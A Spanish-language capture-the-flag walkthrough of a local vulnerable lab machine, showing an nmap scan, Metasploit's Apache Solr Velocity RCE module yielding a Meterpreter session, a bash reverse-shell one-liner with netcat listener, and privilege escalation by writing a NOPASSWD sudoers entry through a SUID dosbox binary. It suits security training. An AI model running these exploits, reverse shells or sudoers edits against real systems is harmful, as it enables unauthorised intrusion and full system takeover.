Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip eclipse.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh eclipse.tar
Info:
stamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 12:25 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000024s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Epic Battle
8983/tcp open http Apache Solr
| http-title: Solr Admin
|_Requested resource was http://express.dl:8983/solr/
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds
Si vamos al puerto 8983 vemos que nos carga un software llamado Solr por lo que vamos a buscar si contiene alguna vulnerabilidad dicho software.
No nos da mucha informacion, pero vamos a ver en metasploit que vemos.
Escalate user ninhack
Metasploit
msfconsole -q
Si buscamos por el software:
search solr
Info:
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/apache_solr_backup_restore 2024-02-24 excellent Yes Apache Solr Backup/Restore APIs RCE
1 exploit/multi/http/solr_velocity_rce 2019-10-29 excellent Yes Apache Solr Remote Code Execution via Velocity Template
2 \_ target: Java (in-memory) . . . .
3 \_ target: Unix (in-memory) . . . .
4 \_ target: Linux (dropper) . . . .
5 \_ target: x86/x64 Windows PowerShell . . . .
6 \_ target: x86/x64 Windows CmdStager . . . .
7 \_ target: Windows Exec . . . .
8 auxiliary/scanner/http/log4shell_scanner 2021-12-09 normal No Log4Shell HTTP Scanner
9 \_ AKA: Log4Shell . . . .
10 \_ AKA: LogJam . . . .
11 exploit/linux/http/trendmicro_websecurity_exec 2020-06-10 excellent Yes Trend Micro Web Security (Virtual Appliance) Remote Code Execution
Interact with a module by name or index. For example info 11, use 11 or use exploit/linux/http/trendmicro_websecurity_exec
Vemos que el que mas nos interesa es el numero 1 que seria multi/http/solr_velocity_rce y lo configuramos de la siguiente forma:
set LPORT <PORT>
set LHOST <IP_HOST>
set RHOSTS <IP_VICTIM>
exploit
Info:
[*] Started reverse TCP handler on 192.168.120.128:7777
[*] 172.17.0.2:8983: Authentication not required
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 6.8.11-amd64
[*] Found core(s): 0xDojo
[+] Found Velocity Response Writer in use by core '0xDojo'
[!] params.resource.loader.enabled for core '0xDojo' is set to false.
[*] Targeting core '0xDojo'
[*] params.resource.loader.enabled is false for '0xDojo', trying to update it...
[+] params.resource.loader.enabled is true for core '0xDojo'
[*] Using URL: http://192.168.120.128:8080/WI2zfuBr7/
[*] Sending stage (57971 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.120.128:7777 -> 172.17.0.2:58324) at 2025-01-10 12:35:15 -0500
[*] Server stopped.
meterpreter > getuid
Server username: ninhack
Escalate Privileges
Y vemos que funciona, por lo que haremos lo siguiente, vamos a ver si tiene permisos SUID importantes para dicho usuario.
Como estamos en meterpreter no nos va a dejar abrir el nano por lo que haremos lo siguiente:
shell
bash -c "sh -i >& /dev/tcp/<IP>/<IP> 0>&1"
Estaremos a la escucha:
nc -lvnp <PORT>
Y si lo ejecutamos y nos vamos a la escucha obtendremos una shell, por lo que la sanitizaremos.
Sanitizacion de la shell (TTY):
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Y ahora haremos lo siguiente:
LFILE='/etc/sudoers'
dosbox -c 'mount c /' -c "echo ninhack ALL=(ALL:ALL) NOPASSWD: ALL >c:$LFILE" -c exit